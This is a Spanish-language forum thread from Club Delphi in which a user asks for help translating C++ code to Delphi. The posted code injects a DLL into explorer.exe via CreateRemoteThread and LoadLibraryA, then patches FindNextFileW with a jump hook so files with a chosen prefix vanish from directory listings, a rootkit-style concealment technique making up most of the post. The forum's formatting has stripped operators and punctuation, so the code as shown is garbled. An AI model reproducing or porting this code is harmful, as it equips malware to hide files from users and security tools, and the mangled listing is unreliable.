Club Delphi  
    FTP   CCD     Buscar   Trucos   Trabajo   Foros

Retroceder   Foros Club Delphi > Otros entornos y lenguajes > C++ Builder
Registrarse FAQ Miembros Calendario Guía de estilo Temas de Hoy

Respuesta
 
Herramientas Buscar en Tema Desplegado
  #1  
Antiguo 04-06-2015
angelp4492 angelp4492 is offline
Miembro
 
Registrado: dic 2007
Posts: 99
Poder: 0
angelp4492 cantidad desconocida en este momento
Traducir código C++ a Delphi

Hola estoy intentando estudiando las inyecciones dell en delphi y tenco este code en c++
Código PHP:
#include
#include
void main() 

  
HANDLE proceso
  
LPVOID RemoteString
  
LPVOID nLoadLibrary
  
int pid;  
  
// OBTENEMOS EL PID DEL PROCESO 
  // (Si quieren información sobre estas APIs miren la ayuda de microsoft)  
  
HANDLE handle CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); 
  
PROCESSENTRY32 procinfo = { sizeof(PROCESSENTRY32) };  
  
//Aquí empezamos a recorrer todos los procesos que están abiertos 
  
while(Process32Next(handle, &procinfo)) 
  {
    if(!
strcmp(procinfo.szExeFile"explorer.exe"))
    
//comparamos los nombres 
    

      
CloseHandle(handle); 
      
pid procinfo.th32ProcessID;
      
//guardamos el PID 
    

  }
 
  
CloseHandle(handle);  
  
// INYECTAMOS LA DLL 
  // (en mi caso se encuentra en H:\Dll.dll, ustedes cámbienlo)
  
proceso OpenProcess(PROCESS_ALL_ACCESSfalsepid); 
  
nLoadLibrary = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"),"LoadLibraryA"); 
  
RemoteString = (LPVOID)VirtualAllocEx(proceso,NULL,strlen("H:\\Dll.dll"),MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE); 
  
WriteProcessMemory(proceso,(LPVOID)RemoteString,"H:\\Dll.dll",strlen("H:\\Dll.dll"),NULL); 
  
CreateRemoteThread(proceso,NULL,NULL,(LPTHREAD_START_ROUTINE)nLoadLibrary,(LPVOID)RemoteString,NULL,NULL); 
  
CloseHandle(proceso); 

esta parte ya la he traducido

pero me falta esta
Código PHP:
void Hookear() 

  
DWORD ProteVieja
  
// Parametro para VirtualProtect 
  
BYTE *DirFN
  
// La dirección en memoria de FindNextFileW 
  
BYTE *DirYoFN
  
// La dirección en memoria de la función que remplaza a FindNextFileW  
  // –> HOOKEAMOS FINDNEXTFILEW (7 bytes)  
  // Obtenemos la dirección en memoria de FindNextFileW. 
  
DirFN=(BYTE *) GetProcAddress(GetModuleHandle("kernel32.dll"), "FindNextFileW"); 
  
//Reservamos 12 bytes de memoria para nuestro Buffer 
  //FindNextFileW ocupa 7 bytes en la memoria, y necesitamos 5 más para poner nuestro salto alli estan los 12 bytes :D 
  
BufferFN=(BYTE *) malloc (12);  
  
//Le damos todos los permisos a los 12 bytes de nuestro Buffer 
  
VirtualProtect((void *) BufferFN12PAGE_EXECUTE_READWRITE, &ProteVieja);  
  
// Copiamos los 7 primeros bytes del api en el buffer 
  
memcpy(BufferFN,DirFN,7); BufferFN += 7;  
  
// En los 5 bytes restantes… 
  // En el primero introducimos un jmp 
  
*BufferFN=0xE9
  
//0xE9 es el codigo de operacion del jmp BufferFN++; 
  // En los otros 4 la distancia del salto 
  
*((signed int *) BufferFN)= DirFN BufferFN 3;
  
// Asignamos al puntero, la funcion pBuff del inicio del Buffer para poder ejecutar el api original 
  
pBuffFN = (HANDLE (__stdcall *)(HANDLE,LPWIN32_FIND_DATAW)) (BufferFN-8); 
  
// Le damos todos los permisos a los 5 primeros bytes de la api original 
  
VirtualProtect((void *) DirFN,5,PAGE_EXECUTE_READWRITE,&ProteVieja); 
  
// Cambiamos el tipo a puntero a byte para facilitar el trabajo 
  
DirYoFN=(BYTE *) miFindNextFileW;
  
// En el inicio de la api metemos un jmp para que salte a miFindNextFileW 
  
*DirFN=0xE9
  
DirFN++;  
  
// Metemos la distancia del salto 
  
*((signed int *) DirFN) = DirYoFN DirFN 4
  
// Libermos librerias de cache 
  
FlushInstructionCache(GetCurrentProcess(),NULL,NULL); } 
Código PHP:
HANDLE __stdcall miFindNextFileW(HANDLE hFindFile,LPWIN32_FIND_DATAW lpFindFileData)

  
// Ocultamos los archivos que empiecen por el prefijo indicado  
  
HANDLE hand
  
char ascStr[611];  
  do
  {
    
hand pBuffFN(hFindFile,lpFindFileData); 
    
WideCharToMultiByte(CP_ACP0lpFindFileData->cFileName, -1ascStr611NULLNULL);  
  }
  while (
strncmp(ascStr,Prefijo,strlen(Prefijo)) == && hand != NULL);  
  return 
hand

alguien me echa una mano

Última edición por nlsgarcia fecha: 04-06-2015 a las 18:49:32. Razón: Sintaxis y Formateo de Código en C++
Responder Con Cita
Respuesta



Normas de Publicación
no Puedes crear nuevos temas
no Puedes responder a temas
no Puedes adjuntar archivos
no Puedes editar tus mensajes

El código vB está habilitado
Las caritas están habilitado
Código [IMG] está habilitado
Código HTML está deshabilitado
Saltar a Foro

Temas Similares
Tema Autor Foro Respuestas Último mensaje
Ayuda para traducir código delphi a c++ builder mordaz C++ Builder 0 07-05-2014 10:51:50
Ayuda para traducir código PHP a Delphi FideRosado Varios 2 19-10-2013 15:28:51
Traducir código delphi a vb monaguillo Varios 2 08-12-2007 11:32:42
No se traducir un codigo VB rafa_adrim OOP 4 24-10-2006 02:24:02
Traducir un codigo de VB a Delphi ¡¡¡¡ Por favor !!!! Betsa23 Internet 2 30-11-2004 16:29:35


La franja horaria es GMT +2. Ahora son las 17:57:00.


Powered by vBulletin® Version 3.6.8
Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
Traducción al castellano por el equipo de moderadores del Club Delphi
Copyright 1996-2007 Club Delphi